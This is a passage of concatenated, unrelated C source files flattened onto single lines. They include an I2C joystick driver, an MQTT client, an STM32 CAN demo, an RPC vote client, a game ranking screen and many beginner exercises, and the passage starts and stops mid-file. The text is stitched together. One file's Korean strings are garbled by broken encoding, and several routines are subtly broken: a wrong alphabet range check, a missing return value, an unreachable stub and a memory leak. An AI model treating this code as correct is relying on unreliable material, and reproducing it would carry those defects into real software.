argc, char *argv[]) { // open I2C device int I2CFile = openI2C(3); // current joystick status I2CJoystickStatus status; status.buttons = 0; // create uinput device int UInputFIle = createUInputDevice(); printf("Driver ready\n"); while(1) { // read new status from I2C I2CJoystickStatus newStatus; if(readI2CJoystick(I2CFile, &newStatus) != 0) { printf("can't read I2C device!\n"); } else { // everything is ok updateUInputDevice(UInputFIle, &newStatus, &status); status = newStatus; } // sleep until next update usleep(UPDATE_FREQ); } // close file close(I2CFile); ioctl(UInputFIle, UI_DEV_DESTROY); }
C
#include <stdint.h> #include <stdlib.h> #include <mosquitto.h> #include "config.h" #include "mqttsub.h" #include <stdio.h> struct conn_config { char* host; uint16_t port; uint16_t keepalive; }; struct mqtt_client_pub { struct mosquitto* mosq; char* topic; uint32_t mid; uint8_t qos; bool retain; struct conn_config* conn_sett; }; int conn_config_set_from_json(Config* config_json, struct conn_config* conn_sett) { if((config_json==NULL) || (conn_sett==NULL)) return -1; if (config_json_object_get_string(config_json, &(conn_sett->host), "conn_sett.host") != ERR_SUCCESS){ conn_sett->host= NULL; return -1; } if (config_json_object_get_int_number(config_json, &(conn_sett->port), "conn_sett.port") != ERR_SUCCESS) return -1; if (config_json_object_get_int_number(config_json, &(conn_sett->keepalive), "conn_sett.keepalive") != ERR_SUCCESS) return -1; return 0; } void conn_config_destroy(struct conn_config* conn) { free(conn->host); free(conn); } void display_conn_config(struct conn_config* conn){ if(conn != NULL){ printf("Hostname: %s\n",conn->host); printf("Port: %d\n",conn->port); printf("Keepalive: %d\n",conn->keepalive); } } int mqtt_client_pub_set_from_json(Config* config_json, struct mqtt_client_pub* pub) { if (config_json_object_get_string(config_json, &(pub->topic), "topic") != ERR_SUCCESS){ pub->topic=NULL; return -1; } if (config_json_object_get_int_number(config_json, &(pub->mid), "mid") != ERR_SUCCESS) return -1; if (config_json_object_get_int_number(config_json, &(pub->qos), "qos") != ERR_SUCCESS) return -1; if (config_json_object_get_boolean(config_json, &(pub->retain), "retain") != ERR_SUCCESS) return -1; conn_config_set_from_json(config_json, pub->conn_sett); } int mqtt_mosq_set(struct mqtt_client_pub* pub) { pub->mosq = mosquitto_new(NULL, true, NULL); if (!pub->mosq) return -1; return 0; } void display_mqtt_client_config(struct mqtt_client_pub* pub){ if(pub != NULL){ printf("Topic: %s\n",pub->topic); printf("MID: %d\n",pub->mid); printf("QoS: %d\n",pub->qos); printf("Retain: %d\n",pub->retain); display_conn_config(pub->conn_sett); } } struct mqtt_client_pub* mqtt_client_allocate() { struct mqtt_client_pub* pub = malloc(sizeof(struct mqtt_client_pub)); if (pub == NULL) { return NULL; } pub->conn_sett = malloc(sizeof(struct conn_config)); if ((pub->conn_sett) == NULL) { free(pub); return NULL; } return pub; } struct mqtt_client_pub* mqtt_client_create_from_json(const char* path) { mosquitto_lib_init(); Config* config_json = get_config_from_file(path); if(config_json == NULL) return NULL; struct mqtt_client_pub* pub = mqtt_client_allocate(); if (pub == NULL) { config_delete(config_json); return NULL; } if((mqtt_client_pub_set_from_json(config_json, pub) == -1) ||((mqtt_mosq_set(pub) == -1))){ mqtt_client_delete(pub); config_delete(config_json); return NULL; } config_delete(config_json); return pub; } enum mosq_err_t mqtt_client_connect(struct mqtt_client_pub* pub) { if (pub==NULL) return MOSQ_ERR_INVAL; enum mosq_err_t status = mosquitto_connect(pub->mosq, pub->conn_sett->host, pub->conn_sett->port, pub->conn_sett->keepalive); if (status == MOSQ_ERR_SUCCESS) { return mosquitto_loop_start(pub->mosq); } return status; } enum mosq_err_t mqtt_publish(struct mqtt_client_pub* pub, char* msg, size_t len) { return mosquitto_publish(pub->mosq, &(pub->mid), pub->topic, len, msg, pub->qos, pub->retain); } void mqtt_client_delete(struct mqtt_client_pub* pub) { //free(pub->topic); printf("topic deleted"); mosquitto_destroy(pub->mosq); printf("mosq deleted"); conn_config_destroy(pub->conn_sett); printf("conn sett deleted"); //free(pub); printf("client deleted"); } //to do // add callbacks // add publish overloads //add function set mqtt pub from json and from values
C
#include <stdio.h> #include <stdbool.h> #include <errno.h> #include <signal.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> /** * This function creates a listening socket that we can try to connect to * in order to generate some errors */ int create_listener(void) { int err; int port = -1; /* * Get an address structure for the port * NULL = any IP address * "0" = port number 0 means select any available port */ struct addrinfo *ai = NULL; struct addrinfo hints = {0}; hints.ai_flags = AI_PASSIVE; err = getaddrinfo(0, /* local address, NULL=any */ "0", /* local port number, "0"=any */ &hints, /* hints */ &ai); /* result */ if (err) { fprintf(stderr, "[-] getaddrinfo(): %s\n", gai_strerror(err)); goto cleanup; } /* * Create a file handle for the kernel resources */ int fd; fd = socket(ai->ai_family, SOCK_STREAM, 0); if (fd == -1) { fprintf(stderr, "[-] socket(): %s\n", strerror(errno)); goto cleanup; } /* Allow multiple processes to share this IP address, * to avoid any errors that might be associated with * timeouts and such. */ int yes = 1; err = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); if (err) { fprintf(stderr, "[-] SO_REUSEADDR([): %s\n", strerror(errno)); goto cleanup; } #if defined(SO_REUSEPORT) /* Allow multiple processes to share this port */ err = setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes)); if (err) { fprintf(stderr, "[-] SO_REUSEPORT(): %s\n", strerror(errno)); goto cleanup; } #endif /* Tell it to use the local port number (and optionally, address) */ err = bind(fd, ai->ai_addr, ai->ai_addrlen); if (err) { fprintf(stderr, "[-] bind(): %s\n", strerror(errno)); goto cleanup; } /* Get the name of the port/IP that was chosen for the this socket */ struct sockaddr_storage sa = {0}; socklen_t sa_len = sizeof(sa); err = getsockname(fd, (struct sockaddr *)&sa, &sa_len); if (err) { fprintf(stderr, "[-] getsockname(): %s\n", strerror(errno)); goto cleanup; } /* Format the addr/port for pretty printing */ char hostaddr[NI_MAXHOST]; char hostport[NI_MAXSERV]; err = getnameinfo((struct sockaddr*)&sa, sa_len, hostaddr, sizeof(hostaddr), hostport, sizeof(hostport), NI_NUMERICHOST | NI_NUMERICSERV); if (err) { fprintf(stderr, "[-] getnameinfo(): %s\n", gai_strerror(err)); goto cleanup; } port = atoi(hostport); /* Configure the socket for listening (i.e. accepting incoming connections) */ err = listen(fd, 10); if (err) { fprintf(stderr, "[-] listen([%s]:%s): %s\n", hostaddr, hostport, strerror(errno)); goto cleanup; } else fprintf(stderr, "[+] listening on [%s]:%s\n", hostaddr, hostport); cleanup: if (ai) freeaddrinfo(ai); return port; } void error_duplicate_connection(int port) { char portname[64]; snprintf(portname, sizeof(portname), "%d", port); } /** * Tests whether a pointer is bad. It does this by calling * a system call with the pointer and testing to see whether * EFAULT is returned. In this cas,e the write() function is * chosen, but a bunch of other system calls can be used. */ bool is_valid_pointer(const void *p, size_t len) { int fd; int err; if (len == 0) len = 1; /* open a standard file that we can write to */ fd = open("/dev/random", O_WRONLY); if (fd == -1) { fprintf(stderr, "[-] %s: open(/dev/random): %s\n", __func__, strerror(errno)); return false; } /* Try writing */ err = write(fd, p, len); if (err < 0 && errno == EFAULT) { close(fd); return false; } else if (err < 0) { fprintf(stderr, "[-] %s: write(/dev/random): %s\n", __func__, strerror(errno)); close(fd); return false; } close(fd); return true; } int main(int argc, char **argv) { int port; /* Ignore the send() problem */ signal(SIGPIPE, SIG_IGN); /* Use EFAULT to test pointers */ if (!is_valid_pointer("", 1)) printf("[-] empty string is invalid\n"); if (is_valid_pointer((void*)1, 1)) printf("[-] 1 is a valid pointer\n"); if (is_valid_pointer(0, 1)) printf("[-] 0 is a valid pointer\n"); port = create_listener(); error_duplicate_connection(port); return 0; }
C
int ft_iterative_power(int nb, int power) { int count; int res; res = 1; count = 0; if (power < 0 || (nb == 0 && power > 0)) return (0); if (power == 0) return (1); while (count < power) { res *= nb; count++; } return (res); }
C
/* intconv.c -- some mismatched integer conversions */ #include <stdio.h> #define PAGES 336 #define WORDS 65618 void intconv(void) { short num = PAGES; short mnum = -PAGES; printf("num as short and unsigned short: %hd %hu\n", num, num); printf("-num as short and unsigned short: %hd %hu\n", mnum, mnum); printf("num as int and char: %d %c\n", num, num); printf("WORDS as int, short, and char: %d %hd %c %c\n", WORDS, WORDS, WORDS, 82); // printf("Size of int: %zd size of short int: %zd", sizeof(int), sizeof(short)); }
C
#include<stdio.h> void main(){ char ch; printf("Enter an alphabet :"); scanf("%c",&ch); if(ch=='a' ||ch == 'A' || ch =='e' || ch =='E' ||ch =='i' || ch =='I' || ch =='o' || ch =='O' ||ch =='u' || ch=='U'){ printf("'%c',is a Vowel",ch); } else{ printf("This is not Vowel"); } }
C
/** ****************************************************************************** * @file main.c * @author zelkhachin ****************************************************************************** */ #include <string.h> #include "stm32f4xx_hal.h" #include "main.h" void GPIO_Init(void); void Error_handler(void); void UART2_Init(void); void SystemClock_Config_HSE(uint8_t clock_freq); void CAN1_Init(void); void CAN1_Tx(void); void CAN1_Rx(void); void CAN_Filter_Config(void); UART_HandleTypeDef huart2; CAN_HandleTypeDef hcan1; int main(void) { HAL_Init(); SystemClock_Config_HSE(SYS_CLOCK_FREQ_50_MHZ); GPIO_Init(); UART2_Init(); CAN1_Init(); CAN_Filter_Config(); if( HAL_CAN_Start(&hcan1) != HAL_OK) { Error_handler(); } CAN1_Tx(); CAN1_Rx(); while(1); return 0; } /** * @brief System Clock Configuration * @retval None */ void SystemClock_Config_HSE(uint8_t clock_freq) { RCC_OscInitTypeDef Osc_Init; RCC_ClkInitTypeDef Clock_Init; uint8_t flash_latency=0; Osc_Init.OscillatorType = RCC_OSCILLATORTYPE_HSE ; Osc_Init.HSEState = RCC_HSE_ON; Osc_Init.PLL.PLLState = RCC_PLL_ON; Osc_Init.PLL.PLLSource = RCC_PLLSOURCE_HSE; switch(clock_freq) { case SYS_CLOCK_FREQ_50_MHZ: Osc_Init.PLL.PLLM = 4; Osc_Init.PLL.PLLN = 50; Osc_Init.PLL.PLLP = RCC_PLLP_DIV2; Osc_Init.PLL.PLLQ = 2; Osc_Init.PLL.PLLR = 2; Clock_Init.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK |RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2; Clock_Init.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; Clock_Init.AHBCLKDivider = RCC_SYSCLK_DIV1; Clock_Init.APB1CLKDivider = RCC_HCLK_DIV2; Clock_Init.APB2CLKDivider = RCC_HCLK_DIV1; flash_latency = 1; break; case SYS_CLOCK_FREQ_84_MHZ: Osc_Init.PLL.PLLM = 4; Osc_Init.PLL.PLLN = 84; Osc_Init.PLL.PLLP = RCC_PLLP_DIV2; Osc_Init.PLL.PLLQ = 2; Osc_Init.PLL.PLLR = 2; Clock_Init.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK |RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2; Clock_Init.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; Clock_Init.AHBCLKDivider = RCC_SYSCLK_DIV1; Clock_Init.APB1CLKDivider = RCC_HCLK_DIV2; Clock_Init.APB2CLKDivider = RCC_HCLK_DIV1; flash_latency = 2; break; case SYS_CLOCK_FREQ_120_MHZ: Osc_Init.PLL.PLLM = 4; Osc_Init.PLL.PLLN = 120; Osc_Init.PLL.PLLP = RCC_PLLP_DIV2; Osc_Init.PLL.PLLQ = 2; Osc_Init.PLL.PLLR = 2; Clock_Init.ClockType = RCC_CLOCKTYPE_HCLK|RCC_CLOCKTYPE_SYSCLK |RCC_CLOCKTYPE_PCLK1|RCC_CLOCKTYPE_PCLK2; Clock_Init.SYSCLKSource = RCC_SYSCLKSOURCE_PLLCLK; Clock_Init.AHBCLKDivider = RCC_SYSCLK_DIV1; Clock_Init.APB1CLKDivider = RCC_HCLK_DIV4; Clock_Init.APB2CLKDivider = RCC_HCLK_DIV2; flash_latency = 3; break; default: return ; } if (HAL_RCC_OscConfig(&Osc_Init) != HAL_OK) { Error_handler(); } if (HAL_RCC_ClockConfig(&Clock_Init, flash_latency) != HAL_OK) { Error_handler(); } /*Configure the systick timer interrupt frequency (for every 1 ms) */ uint32_t hclk_freq = HAL_RCC_GetHCLKFreq(); HAL_SYSTICK_Config(hclk_freq/1000); /**Configure the Systick */ HAL_SYSTICK_CLKSourceConfig(SYSTICK_CLKSOURCE_HCLK); /* SysTick_IRQn interrupt configuration */ HAL_NVIC_SetPriority(SysTick_IRQn, 0, 0); } void CAN1_Tx(void) { char msg[50]; CAN_TxHeaderTypeDef TxHeader; uint32_t TxMailbox; uint8_t our_message[5] = {'H','E','L','L','O'}; TxHeader.DLC = 5; TxHeader.StdId = 0x65D; TxHeader.IDE = CAN_ID_STD; TxHeader.RTR = CAN_RTR_DATA; if( HAL_CAN_AddTxMessage(&hcan1,&TxHeader,our_message,&TxMailbox) != HAL_OK) { Error_handler(); } while( HAL_CAN_IsTxMessagePending(&hcan1,TxMailbox)); sprintf(msg,"Message Transmitted\r\n"); HAL_UART_Transmit(&huart2,(uint8_t*)msg,strlen(msg),HAL_MAX_DELAY); } void CAN1_Rx(void) { CAN_RxHeaderTypeDef RxHeader; uint8_t rcvd_msg[5]; char msg[50]; //we are waiting for at least one message in to the RX FIFO0 while(! HAL_CAN_GetRxFifoFillLevel(&hcan1,CAN_RX_FIFO0)); if(HAL_CAN_GetRxMessage(&hcan1,CAN_RX_FIFO0,&RxHeader,rcvd_msg) != HAL_OK) { Error_handler(); } sprintf(msg,"Message Received : %s\r\n",rcvd_msg); HAL_UART_Transmit(&huart2,(uint8_t*)msg,strlen(msg),HAL_MAX_DELAY); } void CAN_Filter_Config(void) { CAN_FilterTypeDef can1_filter_init; can1_filter_init.FilterActivation = ENABLE; can1_filter_init.FilterBank = 0; can1_filter_init.FilterFIFOAssignment = CAN_RX_FIFO0; can1_filter_init.FilterIdHigh = 0x0000; can1_filter_init.FilterIdLow = 0x0000; can1_filter_init.FilterMaskIdHigh = 0x0000; can1_filter_init.FilterMaskIdLow = 0x0000; can1_filter_init.FilterMode = CAN_FILTERMODE_IDMASK; can1_filter_init.FilterScale = CAN_FILTERSCALE_32BIT; if( HAL_CAN_ConfigFilter(&hcan1,&can1_filter_init) != HAL_OK) { Error_handler(); } } void GPIO_Init(void) { __HAL_RCC_GPIOA_CLK_ENABLE(); GPIO_InitTypeDef ledgpio; ledgpio.Pin = GPIO_PIN_5; ledgpio.Mode = GPIO_MODE_OUTPUT_PP; ledgpio.Pull = GPIO_NOPULL; HAL_GPIO_Init(GPIOA,&ledgpio); } void UART2_Init(void) { huart2.Instance = USART2; huart2.Init.BaudRate = 115200; huart2.Init.WordLength = UART_WORDLENGTH_8B; huart2.Init.StopBits = UART_STOPBITS_1; huart2.Init.Parity = UART_PARITY_NONE; huart2.Init.HwFlowCtl = UART_HWCONTROL_NONE; huart2.Init.Mode = UART_MODE_TX_RX; if ( HAL_UART_Init(&huart2) != HAL_OK ) { //There is a problem Error_handler(); } } void CAN1_Init(void) { hcan1.Instance = CAN1; hcan1.Init.Mode = CAN_MODE_LOOPBACK; hcan1.Init.AutoBusOff = ENABLE; hcan1.Init.AutoRetransmission = ENABLE; hcan1.Init.AutoWakeUp = DISABLE; hcan1.Init.ReceiveFifoLocked = DISABLE; hcan1.Init.TimeTriggeredMode = DISABLE; hcan1.Init.TransmitFifoPriority = DISABLE; //Settings related to CAN bit timings hcan1.Init.Prescaler = 5; hcan1.Init.SyncJumpWidth = CAN_SJW_1TQ; hcan1.Init.TimeSeg1 = CAN_BS1_8TQ; hcan1.Init.TimeSeg2 = CAN_BS2_1TQ; if ( HAL_CAN_Init (&hcan1) != HAL_OK) { Error_handler(); } } void Error_handler(void) { while(1); }
C
#include "holberton.h" /** * _isalpha - Check if the character is uppercase *@c: character to look at * * Return: Always 1 if uppercase * iof not always 0 */ int _isalpha(int c) { if (c >= 'A' && c <= 'z') return (1); else return (0); }
C
#include <stdlib.h> #include "binary_trees.h" #include <stdio.h> int binary_tree_heighta(const binary_tree_t *tree); int binary_tree_sizea(const binary_tree_t *tree); /** * binary_tree_is_perfect - returns 1 if the tree is full or 0 if not * @tree: root of tree * Return: returns the balance */ int binary_tree_is_perfect(const binary_tree_t *tree) { int h = 0; int ful = 1; int h2 = 0; int fulpo = 0; if (tree) { h = binary_tree_heighta(tree); while (h > 0) { ful = 1; h2 = h; while (h2 > 0) { ful = ful * (2); h2 = h2 - 1; } fulpo = fulpo + ful; h = h - 1; } if (fulpo + 1 == binary_tree_sizea(tree)) return (1); } return (0); } /** * binary_tree_heighta - measures the height of a binary tree * @tree: root of tree * Return: returns the height of the node */ int binary_tree_heighta(const binary_tree_t *tree) { int a = 0; int b = 0; /* int c = 0; */ if (tree) { if (tree->left) a = (1 + binary_tree_heighta(tree->left)); if (tree->right) b = (1 + binary_tree_heighta(tree->right)); if (a < b) return (b); else return (a); } return (0); } /** * binary_tree_sizea - This function returns the size of the tree * @tree: root of tree * Return: returns the size */ int binary_tree_sizea(const binary_tree_t *tree) { int a = 0; if (tree) { a = a + 1; if (tree->left) { a = a + (binary_tree_sizea(tree->left)); } if (tree->right) { a = a + (binary_tree_sizea(tree->right)); } return (a); } return (0); }
C
#include <stdio.h> int main (void) { int number, n, divider; printf ("Type in integer \n"); scanf ("%i", &number); do { n = number; divider = 1; while (n > 10) { n /= 10; divider *= 10; } switch (n) { case 1: printf ("one "); break; case 2: printf ("two "); break; case 3: printf ("three "); break; case 4: printf ("four "); break; case 5: printf ("five "); break; case 6: printf ("six "); break; case 7: printf ("seven "); break; case 8: printf ("eight "); break; case 9: printf ("nine "); break; case 0: printf ("zero "); break; } number = number % divider; } while ( divider != 1 ); printf ("\n"); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> void traverseLeaves( struct node* node ) { printKeysInNode( getMinNode( node ) ); } // traverseLeaves struct node* getMinNode( struct node* node ) { int i = 0; while ( !node->isLeafNode && node->numChildren > 0 ) { node = node->children[0]; // traverse through leftmost node } return node; } // getMinNode void printKeysInNode( struct node* node ) { if ( node != NULL ) { int i; for ( i=0; i < node->numChildren; i++ ) { // scrape node for keys then go to nextLeaf if (i==0) printf("( "); printf("%d", node->keys[i]); if (i >= 0 && i<node->numChildren-1) printf(", "); if (i==node->numChildren-1) printf(" )"); } printf("\n"); printKeysInNode( node->nextLeaf ); } } // printKeysInNode void getTopCourses( struct node* root, int top, int numInserts ) { println("STUB: Calculating top %d most popular courses", top); return; struct courseFreq* courseFreqs[ numInserts ]; // array with <numInserts> pointers to courseFreq structs (account for max case) struct node* leafNode = getMinNode( root ); struct item* course; int i; int numCourses = 0; while ( leafNode != NULL ) { // for each leafNode for ( i = 0; i < leafNode->numChildren; i++ ) { // for each child in leafNode course = (struct item*) leafNode->courseList[i]; int courseIndex = -1; while ( course != NULL ) { // for each course in child int k = 0; if ( numCourses > 0 ) { // course cannot be found in empty array struct courseFreq* courseFreq = (struct courseFreq*) courseFreqs[k]; while ( courseFreq != NULL && k < numCourses && ( strcmp(courseFreq->courseId, course->courseId) != 0) ) { courseFreq = (struct courseFreq*) courseFreqs[k+1]; k++; } courseIndex = ( courseFreq == NULL ? -1 : k ); } // if if ( courseIndex > -1 ) { // courseId was found in array struct courseFreq* courseFreq = (struct courseFreq*) courseFreqs[ courseIndex ]; courseFreq->freq = courseFreq->freq + 1; } else { struct courseFreq* newCourseFreq = (struct courseFreq*) malloc( sizeof(struct courseFreq)+1 ); strcpy( newCourseFreq->courseId, course->courseId); strcpy( newCourseFreq->courseName, course->courseName); newCourseFreq->freq = 1; courseFreqs[ numCourses ] = newCourseFreq; numCourses++; } course = course->next; } // end while } // end for leafNode = leafNode->nextLeaf; } // end while } // getTopCourses
C
#include<stdio.h> int main() { printf("<!DOCTYPE html>\n"); printf("<meta charaset=\"UTF-8\">\n"); printf("<title>99</title>\n"); printf("<hl>99</hl>\n"); printf("<table>\n"); printf("<tr>\n"); printf("<th>\n"); printf("<tr>"); for (int y = 0; y<10; ++y){ for (int x = 0; x<10; ++x){ if (x == 0 && y == 0){ printf("<th>"); } else if (x == 0 || y == 0){ printf("<th>%d",x+y); } else{ printf("<th>%d", x*y); } if (x == 9){ printf("\n"); } } } return 0; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_3__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef TYPE_1__* task_t ; typedef int /*<<< orphan*/ mach_msg_type_number_t ; typedef int /*<<< orphan*/ kern_return_t ; typedef int /*<<< orphan*/ host_info64_t ; typedef int /*<<< orphan*/ host_flavor_t ; struct TYPE_6__ {scalar_t__ last_access; int current_requests; scalar_t__ max_requests; } ; struct TYPE_5__ {int t_flags; } ; /* Variables and functions */ int FALSE ; int HOST_STATISTICS_MAX_REQUESTS ; int HOST_STATISTICS_MIN_REQUESTS ; int /*<<< orphan*/ KERN_SUCCESS ; int TF_PLATFORM ; int TRUE ; int /*<<< orphan*/ assert (int) ; TYPE_1__* current_task () ; TYPE_3__* g_host_stats_cache ; int /*<<< orphan*/ get_cached_info (int,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int get_host_info_data_index (int,int /*<<< orphan*/ ,int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int /*<<< orphan*/ host_statistics_lck ; scalar_t__ host_statistics_time_window ; TYPE_1__* kernel_task ; int /*<<< orphan*/ lck_mtx_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ lck_mtx_unlock (int /*<<< orphan*/ *) ; int mach_absolute_time () ; scalar_t__ mach_continuous_time () ; __attribute__((used)) static bool rate_limit_host_statistics(bool is_stat64, host_flavor_t flavor, host_info64_t info, mach_msg_type_number_t* count, kern_return_t* ret, int *pindex) { task_t task = current_task(); assert(task != kernel_task); *ret = KERN_SUCCESS; /* Access control only for third party applications */ if (task->t_flags & TF_PLATFORM) { return FALSE; } /* Rate limit to HOST_STATISTICS_MAX_REQUESTS queries for each HOST_STATISTICS_TIME_WINDOW window of time */ bool rate_limited = FALSE; bool set_last_access = TRUE; /* there is a cache for every flavor */ int index = get_host_info_data_index(is_stat64, flavor, count, ret); if (index == -1) goto out; *pindex = index; lck_mtx_lock(&host_statistics_lck); if (g_host_stats_cache[index].last_access > mach_continuous_time() - host_statistics_time_window) { set_last_access = FALSE; if (g_host_stats_cache[index].current_requests++ >= g_host_stats_cache[index].max_requests) { rate_limited = TRUE; get_cached_info(index, info, count); } } if (set_last_access) { g_host_stats_cache[index].current_requests = 1; /* * select a random number of requests (included between HOST_STATISTICS_MIN_REQUESTS and HOST_STATISTICS_MAX_REQUESTS) * to let query host_statistics. * In this way it is not possible to infer looking at when the a cached copy changes if host_statistics was called on * the provious window. */ g_host_stats_cache[index].max_requests = (mach_absolute_time() % (HOST_STATISTICS_MAX_REQUESTS - HOST_STATISTICS_MIN_REQUESTS + 1)) + HOST_STATISTICS_MIN_REQUESTS; g_host_stats_cache[index].last_access = mach_continuous_time(); } lck_mtx_unlock(&host_statistics_lck); out: return rate_limited; }
C
#include "record.h" #include "utils.h" #include "constants.h" #include "render.h" #include "colors.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <Windows.h> #include <conio.h> #define MAX_COUNT 256 #define HEADER_X_POS (SCREEN_WIDTH / 2 - 19) #define HEADER_Y_POS 2 #define BODY_HORIZONTAL_PADDING 10 #define BODY_Y_POS 9 // static int compareRecord(const Record* a, const Record* b) { if (a->totalScore == b->totalScore) { if (a->reachedStageLevel == b->reachedStageLevel) { if (a->killingCount == b->killingCount) return strcmp(a->name, b->name); // ̸ return a->killingCount > b->killingCount ? -1 : 1; } return a->reachedStageLevel > b->reachedStageLevel ? -1 : 1; } return a->totalScore > b->totalScore ? -1 : 1; } static int countRecordFiles(FILE* fp) { int filesize; int n = 0; fseek(fp, 0, SEEK_END); filesize = ftell(fp); n = filesize / sizeof(Record); return n; } static size_t getRecordArray(Record arrRecord[MAX_COUNT]) { FILE* fp; size_t count; fp = fopen(RECORD_FILE_NAME, "r+b"); if (fp == NULL) { return 0; } count = countRecordFiles(fp); fseek(fp, 0, SEEK_SET); for (size_t i = 0;i < count;++i) { fread(&arrRecord[i], sizeof(Record), 1, fp); } fclose(fp); qsort(arrRecord, count, sizeof(Record), compareRecord); return count; } static void drawRankingHeader() { gotoxy(HEADER_X_POS, HEADER_Y_POS); printf(" \n"); gotoxy(HEADER_X_POS, HEADER_Y_POS + 1); printf(" \n"); gotoxy(HEADER_X_POS, HEADER_Y_POS + 2); printf(" \n"); gotoxy(HEADER_X_POS, HEADER_Y_POS + 3); printf(" \n"); gotoxy(HEADER_X_POS, HEADER_Y_POS + 4); printf(" \n"); } static void drawExitHelpText() { gotoxy(HEADER_X_POS + 65, HEADER_Y_POS + 4); printf("(Q,q) ڷΰ"); } static void drawRankingBody( const Record arrRecord[MAX_COUNT], size_t count ) { size_t maxCount = min(count, 20); textcolor(BLACK, GRAY); drawBox((SMALL_RECT) { BODY_HORIZONTAL_PADDING / 2, BODY_Y_POS, (SCREEN_WIDTH - BODY_HORIZONTAL_PADDING) / 2, SCREEN_HEIGHT - 4 }); if (count == 0) { gotoxy(HEADER_X_POS, BODY_Y_POS + 2); printf(" ϴ."); return; } gotoxy(HEADER_X_POS + 5, BODY_Y_POS + 2); printf("г ְܰ Ƚ"); for (size_t i = 0;i < maxCount;++i) { switch (i) { case 0: textcolor(DARK_VIOLET, GRAY); break; case 1: textcolor(DARK_GREEN, GRAY); break; case 2: textcolor(DARK_BLUE, GRAY); break; default:textcolor(BLACK, GRAY); } gotoxy(HEADER_X_POS - 11, BODY_Y_POS + 4 + i); printf("%2d %14s %3d %dܰ %2dȸ\n", i + 1, arrRecord[i].name, arrRecord[i].totalScore, arrRecord[i].reachedStageLevel, arrRecord[i].killingCount); } } int writeRecordFile(const Record* const record) { FILE* fp; if ((fp = fopen(RECORD_FILE_NAME, "r+b")) == NULL) { fp = fopen(RECORD_FILE_NAME, "w+b"); if (fp == NULL) { perror("fopen"); return 1; } } fseek(fp, 0, SEEK_END); if (fwrite(record, sizeof(Record), 1, fp) != 1) { // ó return 1; } fclose(fp); return 0; } void showRecordScreen() { char ch; Record arrRecord[MAX_COUNT]; size_t count; clearScreen(); count = getRecordArray(arrRecord); drawRankingHeader(); drawExitHelpText(); drawRankingBody(arrRecord, count); while (1) { if (_kbhit()) { ch = _getch(); if(ch == 'q' || ch == 'Q') break; } } clearScreen(); }
C
#include <stdio.h> #include <stdlib.h> void main(void){ int line; printf("EnterThe Number of Lines :"); scanf("%d", &line); for (int i = 1; i <= line;i++){ for (int j = 1;j<=i; j++){ printf("*"); } printf("\n"); } }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "vote.h" void vote_prog_1(char *host) { CLIENT *clnt; char * *result_4; char *listcandidates_1_arg; #ifndef DEBUG clnt = clnt_create (host, VOTE_PROG, VOTE_VERS, "udp"); if (clnt == NULL) { clnt_pcreateerror (host); exit (1); } #endif /* DEBUG */ result_4 = listcandidates_1((void*)&listcandidates_1_arg, clnt); if (result_4 == (char **) NULL) { clnt_perror (clnt, "call failed"); } printf("%s\n",*result_4); #ifndef DEBUG clnt_destroy (clnt); #endif /* DEBUG */ } int main (int argc, char *argv[]) { char *host; if (argc < 2) { printf ("usage: %s server_host\n", argv[0]); exit (1); } if(strcmp(argv[1],"localhost")==0) host = "127.0.0.1"; else host = argv[1]; vote_prog_1 (host); exit (0); }
C
#include "time.h" unsigned long long timespec_to_nanoseconds(const struct timespec *spec) { return spec->tv_sec * 1e9 + spec->tv_nsec; } unsigned long long timespec_to_duration(const struct timespec *start, const struct timespec *stop) { return timespec_to_nanoseconds(stop) - timespec_to_nanoseconds(start); } unsigned long long timespec_now() { struct timespec now; clock_gettime(CLOCK_MONOTONIC, &now); return timespec_to_nanoseconds(&now); }
C
#include<stdio.h> int* sort(int *a,int n) { int i,j,index,small; small = a[0]; for(i=0;i<n;i++) { index = i; for(j=i+1;j<n;j++) if(a[j]<a[index]) index = j; if(i!=index) { small = a[i]; a[i] = a[index]; a[index] = small; } } return a; } main() { int a[10],i; int *m,n; printf("Size : "); scanf("%d",&n); for(i=0;i<n;i++) scanf("%d",&a[i]); m = sort(a,n); for(i=0;i<n;i++) printf("%d\n",a[i]); }
C
/*------------------------------- Author - Rohit Kumar Bindal Roll Number - 2017Btechcse306 ------------------------------*/ //Program to sort an Array into Ascending Order. //----------------------------------------------------------------------------// #include<stdio.h> void display(int a[],int size){ for(int i=0;i<size;i++){ printf("%d ",a[i]); } } //Function to find the smallest element in the array for Selection Sort int min(int *arr, int lb, int ub){ int min = lb; while(lb<ub){ if(arr[lb]<arr[min]) min = lb; lb++; } return min; } void selection_sort(int a[],int size){ int i,j,temp; for(i=0;i<size;i++){ j = min(a,i,size); temp = a[j]; a[j] = a[i]; a[i] = temp; } display(a,size); } void bubble_sort(int a[], int size){ int i,j,temp; for(i=0;i<size;i++){ temp=0; for(j=0;j<size;j++){ if(a[i]<a[j]){ temp=a[j]; a[j]=a[i]; a[i]=temp; } } } printf("\nSorted Array is:\n"); display(a,size); } int main(){ int i,size; printf("Enter the size of the Array: "); scanf("%d",&size); int a[size]; printf("\nEnter the Array: "); for(i=0;i<size;i++){ scanf("%d",&a[i]); } printf("\nThe Entered Array is:\n"); display(a,size); int ch; printf("\n1. Bubble Sort\n2.Selection Sort\n"); scanf("%d",&ch); switch (ch){ case 1: 